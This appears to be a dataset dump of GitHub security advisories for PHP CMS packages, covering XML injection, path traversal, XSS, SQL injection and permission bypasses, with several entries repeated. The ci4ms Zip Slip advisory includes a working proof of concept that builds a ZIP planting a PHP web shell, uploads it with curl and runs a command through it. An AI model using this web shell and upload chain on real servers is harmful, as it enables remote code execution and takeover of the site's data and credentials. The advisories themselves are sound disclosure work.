deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-9wfj-c55w-j9qr
Package: getkirby/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-91: XML Injection (aka Blind XPath Injection)
Vulnerable versions: >= 5.0.0, < 5.4.0
Patched in: 5.4.0

Summary: Kirby has XML injection in its XML creator toolkit

Details:
### TL;DR

This vulnerability only affects Kirby sites that use the `Xml` data handler (e.g. `Data::encode($string, 'xml')`) or the `Xml::create()`, `Xml::tag()` or `Xml::value()` method(s) in site or plugin code. The Kirby core does not use any of the affected methods.

If consumers use an affected method and cannot rule out input to these methods controlled by an attacker, Kirby strongly recommends that they update to a patch release.

----

### Introduction

XML strings contain structured data in tags and attributes. Depending on the used XML schema, this data can carry specific meaning that can lead to actions in other systems that parse and act on the XML data. Tags and attributes are detected based on their specific syntax, which includes characters such as `<`, `>`, `"`, and `&`. If these characters are to be used verbatim in text within the XML string, they can be escaped using a `<![CDATA[ ]]>` block.

XML injection is an attack on a system generating or parsing XML files. By injecting special characters into input data, XML output with a malicious meaning could be generated by a vulnerable system.

### Impact

Kirby's `Xml::value()` method has special handling for `<![CDATA[ ]]>` blocks. If the input value is already valid `CDATA`, it is not escaped a second time but allowed to pass through. However it was possible to trick this check into allowing values that only *contained* a valid `CDATA` block but also contained other structured data outside of the `CDATA` block. This structured data would then also be allowed to pass through, circumventing the value protection.

The `Xml::value()` method is used in `Xml::tag()`, `Xml::create()` and in the `Xml` data handler (e.g. `Data::encode($string, 'xml')`).

Both the vulnerable methods and the data handler are not used in the Kirby core. However they may be used in site or plugin code, e.g. to create XML strings from input data. If those generated files are passed to another implementation that assigns specific meaning to the XML schema, manipulation of this system's behavior is possible.

Kirby sites that don't use XML generation in site or plugin code are *not* affected.

### Patches

The problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.

In all of the mentioned releases, Kirby has added additional checks that only allow unchanged `CDATA` passthrough if the entire string is made up of valid `CDATA` blocks and no structured data. This protects all uses of the method against the described vulnerability.

### Credits

Kirby thanks to Patrick Falb (@dapatrese) at [FORMER 03](https://former03.de/) for responsibly reporting the identified issue.
GitHub Security Advisory: GHSA-9wfj-c55w-j9qr
Package: getkirby/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-91: XML Injection (aka Blind XPath Injection)
Vulnerable versions: < 4.9.0
Patched in: 4.9.0

Summary: Kirby has XML injection in its XML creator toolkit

Details:
### TL;DR

This vulnerability only affects Kirby sites that use the `Xml` data handler (e.g. `Data::encode($string, 'xml')`) or the `Xml::create()`, `Xml::tag()` or `Xml::value()` method(s) in site or plugin code. The Kirby core does not use any of the affected methods.

If consumers use an affected method and cannot rule out input to these methods controlled by an attacker, Kirby strongly recommends that they update to a patch release.

----

### Introduction

XML strings contain structured data in tags and attributes. Depending on the used XML schema, this data can carry specific meaning that can lead to actions in other systems that parse and act on the XML data. Tags and attributes are detected based on their specific syntax, which includes characters such as `<`, `>`, `"`, and `&`. If these characters are to be used verbatim in text within the XML string, they can be escaped using a `<![CDATA[ ]]>` block.

XML injection is an attack on a system generating or parsing XML files. By injecting special characters into input data, XML output with a malicious meaning could be generated by a vulnerable system.

### Impact

Kirby's `Xml::value()` method has special handling for `<![CDATA[ ]]>` blocks. If the input value is already valid `CDATA`, it is not escaped a second time but allowed to pass through. However it was possible to trick this check into allowing values that only *contained* a valid `CDATA` block but also contained other structured data outside of the `CDATA` block. This structured data would then also be allowed to pass through, circumventing the value protection.

The `Xml::value()` method is used in `Xml::tag()`, `Xml::create()` and in the `Xml` data handler (e.g. `Data::encode($string, 'xml')`).

Both the vulnerable methods and the data handler are not used in the Kirby core. However they may be used in site or plugin code, e.g. to create XML strings from input data. If those generated files are passed to another implementation that assigns specific meaning to the XML schema, manipulation of this system's behavior is possible.

Kirby sites that don't use XML generation in site or plugin code are *not* affected.

### Patches

The problem has been patched in [Kirby 4.9.0](https://github.com/getkirby/kirby/releases/tag/4.9.0) and [Kirby 5.4.0](https://github.com/getkirby/kirby/releases/tag/5.4.0). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.

In all of the mentioned releases, Kirby has added additional checks that only allow unchanged `CDATA` passthrough if the entire string is made up of valid `CDATA` blocks and no structured data. This protects all uses of the method against the described vulnerability.

### Credits

Kirby thanks to Patrick Falb (@dapatrese) at [FORMER 03](https://former03.de/) for responsibly reporting the identified issue.
GitHub Security Advisory: GHSA-xv3r-vr59-95rg
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.31.5.0
Patched in: 0.31.5.0

Summary: CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Details:
### Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

### Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

```php
public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}
```

A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

### PoC
Build the archive:

```python
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"
```

Upload through the Theme manager with an authenticated session that has theme create:

```bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload
```

Trigger the shell:

```bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
GitHub Security Advisory: GHSA-qxpq-82f3-xj47
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 0.31.5.0
Patched in: 0.31.5.0

Summary: CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS

Details:
An attacker can achieve Full Account Takeover and Privilege Escalation via Stored DOM XSS in the backup module's filename field, which is manipulated through an SQL file that tampers with the filename field to contain a hidden XSS payload.
GitHub Security Advisory: GHSA-jvwg-phxx-j3rp
Package: october/system (COMPOSER)
Severity: LOW (CVSS 3.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 3.7.16
Patched in: 3.7.16

Summary: October CMS: Editor Sub-Permission Bypass for Asset and Blueprint File Operations

Details:
Fine-grained sub-permission checks for asset and blueprint file operations were not enforced in the CMS and Tailor editor extensions. This only affects backend users who were explicitly granted `editor` access but had `editor.cms_assets` or `editor.tailor_blueprints` specifically withheld, an uncommon permission configuration. In this edge case, such users could perform file operations (create, delete, rename, move, upload) on theme assets or blueprint files despite lacking the required sub-permission. A related operator precedence error in the Tailor navigation also disclosed the theme blueprint directory tree under the same conditions.

### Impact
- Only exploitable by authenticated backend users with `editor` access who have been specifically denied the `editor.cms_assets` or `editor.tailor_blueprints` sub-permissions
- Does not affect default permission configurations where editor users typically have all sub-permissions granted
- Users without `editor.cms_assets` could manipulate theme asset files (delete, rename, move, upload, create directories)
- Users without `editor.tailor_blueprints` could manipulate blueprint files (delete, rename, move, upload, create directories)
- Users without `editor.tailor_blueprints` could view the theme blueprint navigation tree, disclosing file paths and directory structure

### Patches
The vulnerability has been patched in v3.7.16 and v4.1.16. Fine-grained document type permission checks are now enforced on all asset and blueprint file operation commands, and the navigation node condition logic has been corrected. All users are encouraged to upgrade to the latest patched version.

### Workarounds
- Restrict the `editor` permission to fully trusted administrators only
- Remove the `editor` permission from any user who should not have asset or blueprint management access
GitHub Security Advisory: GHSA-jvwg-phxx-j3rp
Package: october/system (COMPOSER)
Severity: LOW (CVSS 3.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 4.0.0, < 4.1.16
Patched in: 4.1.16

Summary: October CMS: Editor Sub-Permission Bypass for Asset and Blueprint File Operations

Details:
Fine-grained sub-permission checks for asset and blueprint file operations were not enforced in the CMS and Tailor editor extensions. This only affects backend users who were explicitly granted `editor` access but had `editor.cms_assets` or `editor.tailor_blueprints` specifically withheld, an uncommon permission configuration. In this edge case, such users could perform file operations (create, delete, rename, move, upload) on theme assets or blueprint files despite lacking the required sub-permission. A related operator precedence error in the Tailor navigation also disclosed the theme blueprint directory tree under the same conditions.

### Impact
- Only exploitable by authenticated backend users with `editor` access who have been specifically denied the `editor.cms_assets` or `editor.tailor_blueprints` sub-permissions
- Does not affect default permission configurations where editor users typically have all sub-permissions granted
- Users without `editor.cms_assets` could manipulate theme asset files (delete, rename, move, upload, create directories)
- Users without `editor.tailor_blueprints` could manipulate blueprint files (delete, rename, move, upload, create directories)
- Users without `editor.tailor_blueprints` could view the theme blueprint navigation tree, disclosing file paths and directory structure

### Patches
The vulnerability has been patched in v3.7.16 and v4.1.16. Fine-grained document type permission checks are now enforced on all asset and blueprint file operation commands, and the navigation node condition logic has been corrected. All users are encouraged to upgrade to the latest patched version.

### Workarounds
- Restrict the `editor` permission to fully trusted administrators only
- Remove the `editor` permission from any user who should not have asset or blueprint management access
GitHub Security Advisory: GHSA-jj38-h5w5-mvpf
Package: october/system (COMPOSER)
Severity: LOW (CVSS 3.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0, < 4.1.16
Patched in: unpatched

Summary: October CMS: Reflected XSS via DataTable Form Widget

Details:
A reflected Cross-Site Scripting (XSS) vulnerability was identified in the backend DataTable widget where a query parameter was rendered without proper output escaping.

### Impact
- Reflected XSS only, no stored/persistent component
- The backend URL prefix is customizable and must be known or guessed by the attacker
- Requires an authenticated backend user to visit a crafted URL
- No direct access is gained without social engineering

### Patches
The vulnerability has been patched in v3.7.16 and v4.1.16. The affected parameter is now properly escaped. All users are encouraged to upgrade to the latest patched version.

### Workarounds
- Use a non-default backend URL prefix (recommended as standard practice)
- Implement a Content Security Policy (CSP) for backend pages
GitHub Security Advisory: GHSA-jj38-h5w5-mvpf
Package: october/system (COMPOSER)
Severity: LOW (CVSS 3.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.7.16
Patched in: 3.7.16

Summary: October CMS: Reflected XSS via DataTable Form Widget

Details:
A reflected Cross-Site Scripting (XSS) vulnerability was identified in the backend DataTable widget where a query parameter was rendered without proper output escaping.

### Impact
- Reflected XSS only, no stored/persistent component
- The backend URL prefix is customizable and must be known or guessed by the attacker
- Requires an authenticated backend user to visit a crafted URL
- No direct access is gained without social engineering

### Patches
The vulnerability has been patched in v3.7.16 and v4.1.16. The affected parameter is now properly escaped. All users are encouraged to upgrade to the latest patched version.

### Workarounds
- Use a non-default backend URL prefix (recommended as standard practice)
- Implement a Content Security Policy (CSP) for backend pages
GitHub Security Advisory: GHSA-h6jm-f4hh-fw27
Package: october/october (COMPOSER)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-863: Incorrect Authorization
Vulnerable versions: >= 4.0.0, < 4.1.10
Patched in: 4.1.10

Summary: October CMS has Safe Mode Bypass via Twig Database Write Operations

Details:
A vulnerability was identified in the Twig sandbox security policy that allowed database write operations when `cms.safe_mode` is enabled. Backend users with Developer permissions could use Twig template markup to execute insert, update, and delete operations on any database table through the query builder, which is included in the sandbox allow-list.

### Impact
- Arbitrary database writes including modification or deletion of any table
- Requires authenticated backend access with Developer permissions
- Only relevant when `cms.safe_mode` is enabled (otherwise direct PHP injection is already possible)

### Patches
The vulnerability has been patched in v3.7.14 and v4.1.10. Write operations such as `insert`, `update`, `delete`, and `truncate` are now blocked on query builder and model objects within the Twig sandbox. All users are encouraged to upgrade to the latest patched version.

### Workarounds
If upgrading immediately is not possible:
- Restrict Developer tool access to fully trusted administrators only

### Reporter
- Reported by [Chris Alupului](https://github.com/neosprings)
GitHub Security Advisory: GHSA-h6jm-f4hh-fw27
Package: october/october (COMPOSER)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-184: Incomplete List of Disallowed Inputs, CWE-863: Incorrect Authorization
Vulnerable versions: < 3.7.14
Patched in: 3.7.14

Summary: October CMS has Safe Mode Bypass via Twig Database Write Operations

Details:
A vulnerability was identified in the Twig sandbox security policy that allowed database write operations when `cms.safe_mode` is enabled. Backend users with Developer permissions could use Twig template markup to execute insert, update, and delete operations on any database table through the query builder, which is included in the sandbox allow-list.

### Impact
- Arbitrary database writes including modification or deletion of any table
- Requires authenticated backend access with Developer permissions
- Only relevant when `cms.safe_mode` is enabled (otherwise direct PHP injection is already possible)

### Patches
The vulnerability has been patched in v3.7.14 and v4.1.10. Write operations such as `insert`, `update`, `delete`, and `truncate` are now blocked on query builder and model objects within the Twig sandbox. All users are encouraged to upgrade to the latest patched version.

### Workarounds
If upgrading immediately is not possible:
- Restrict Developer tool access to fully trusted administrators only

### Reporter
- Reported by [Chris Alupului](https://github.com/neosprings)
GitHub Security Advisory: GHSA-3888-q23f-x7qh
Package: october/system (COMPOSER)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-184: Incomplete List of Disallowed Inputs, CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 4.0.0, < 4.1.10
Patched in: 4.1.10

Summary: October CMS has Safe Mode Bypass via CSS Preprocessor Compilers

Details:
A server-side information disclosure vulnerability was identified in the handling of CSS preprocessor files. Backend users with Editor permissions could craft `.less`, `.sass`, or `.scss` files that leverage the compiler's import functionality to read arbitrary files from the server. This worked even with `cms.safe_mode` enabled.

### Impact
- Potential exposure of sensitive server-side files
- Requires authenticated backend access with Editor permissions
- Only relevant when `cms.safe_mode` is enabled (otherwise direct PHP injection is already possible)

### Patches
The vulnerability has been patched in v3.7.14 and v4.1.10. When `cms.safe_mode` is enabled, `.less`, `.sass`, and `.scss` files can no longer be created, uploaded, or edited across the CMS editor, media manager, and file upload interfaces. All users are encouraged to upgrade to the latest patched version.

### Workarounds
If upgrading immediately is not possible:
- Set `cms.editable_asset_types` config to `['css', 'js']` to remove preprocessor file types from the editor
- Restrict Editor tool access to fully trusted administrators only

- Reported by [Chris Alupului](https://github.com/neosprings)
GitHub Security Advisory: GHSA-3888-q23f-x7qh
Package: october/system (COMPOSER)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-184: Incomplete List of Disallowed Inputs, CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 3.7.14
Patched in: 3.7.14

Summary: October CMS has Safe Mode Bypass via CSS Preprocessor Compilers

Details:
A server-side information disclosure vulnerability was identified in the handling of CSS preprocessor files. Backend users with Editor permissions could craft `.less`, `.sass`, or `.scss` files that leverage the compiler's import functionality to read arbitrary files from the server. This worked even with `cms.safe_mode` enabled.

### Impact
- Potential exposure of sensitive server-side files
- Requires authenticated backend access with Editor permissions
- Only relevant when `cms.safe_mode` is enabled (otherwise direct PHP injection is already possible)

### Patches
The vulnerability has been patched in v3.7.14 and v4.1.10. When `cms.safe_mode` is enabled, `.less`, `.sass`, and `.scss` files can no longer be created, uploaded, or edited across the CMS editor, media manager, and file upload interfaces. All users are encouraged to upgrade to the latest patched version.

### Workarounds
If upgrading immediately is not possible:
- Set `cms.editable_asset_types` config to `['css', 'js']` to remove preprocessor file types from the editor
- Restrict Editor tool access to fully trusted administrators only

- Reported by [Chris Alupului](https://github.com/neosprings)
GitHub Security Advisory: GHSA-8wmw-prw8-2ggm
Package: markhuot/craftql (COMPOSER)
Severity: MODERATE (CVSS 7.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.3.7
Patched in: unpatched

Summary: Craftql vulnerable to Server-Side Request Forgery

Details:
Craftql v1.3.7 and before is vulnerable to Server-Side Request Forgery (SSRF) which allows an attacker to execute arbitrary code via the vendor/markhuot/craftql/src/Listeners/GetAssetsFieldSchema.php file.
GitHub Security Advisory: GHSA-xxxg-x793-7fq3
Package: dolibarr/dolibarr (COMPOSER)
Severity: HIGH (CVSS 8.2)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 8.0.4
Patched in: unpatched

Summary: Dolibarr has SQL injection vulnerability in the rowid parameter of the admin dict.php

Details:
Dolibarr ERP-CRM 8.0.4 contains an SQL injection vulnerability in the rowid parameter of the admin dict.php endpoint that allows attackers to execute arbitrary SQL queries. Attackers can inject malicious SQL code through the rowid POST parameter to extract sensitive database information using error-based SQL injection techniques.